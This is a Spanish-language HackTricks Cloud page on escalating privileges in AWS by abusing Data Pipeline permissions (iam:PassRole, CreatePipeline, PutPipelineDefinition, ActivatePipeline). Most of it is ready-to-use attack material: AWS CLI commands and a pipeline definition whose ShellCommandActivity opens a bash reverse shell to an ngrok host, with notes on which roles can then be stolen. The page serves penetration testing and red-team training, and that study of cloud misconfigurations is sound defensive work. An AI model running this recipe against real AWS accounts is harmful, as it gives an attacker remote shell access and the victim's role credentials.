AWS - Datapipeline Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
datapipeline
Para más información sobre datapipeline consulta:
AWS - DataPipeline, CodePipeline & CodeCommit Enum
iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline
Los usuarios con estos permisos pueden escalar privilegios creando un Data Pipeline para ejecutar comandos arbitrarios usando los permisos del role asignado:
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
Después de la creación del pipeline, el atacante actualiza su definición para dictar acciones específicas o la creación de recursos:
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}
Note
Tenga en cuenta que el role en líneas 14, 15 y 27 debe ser un role assumable by datapipeline.amazonaws.com y el role en línea 28 debe ser un role assumable by ec2.amazonaws.com with a EC2 profile instance.
Además, la EC2 instance solo tendrá acceso al role assumable by the EC2 instance (por lo que solo podrás robar ese).
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json
El archivo de definición del pipeline, elaborado por el atacante, incluye directivas para ejecutar comandos o crear recursos a través de la API de AWS, aprovechando los permisos del role de Data Pipeline para potencialmente obtener privilegios adicionales.
Impacto potencial: Privesc directo al ec2 service role especificado.
Referencias
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

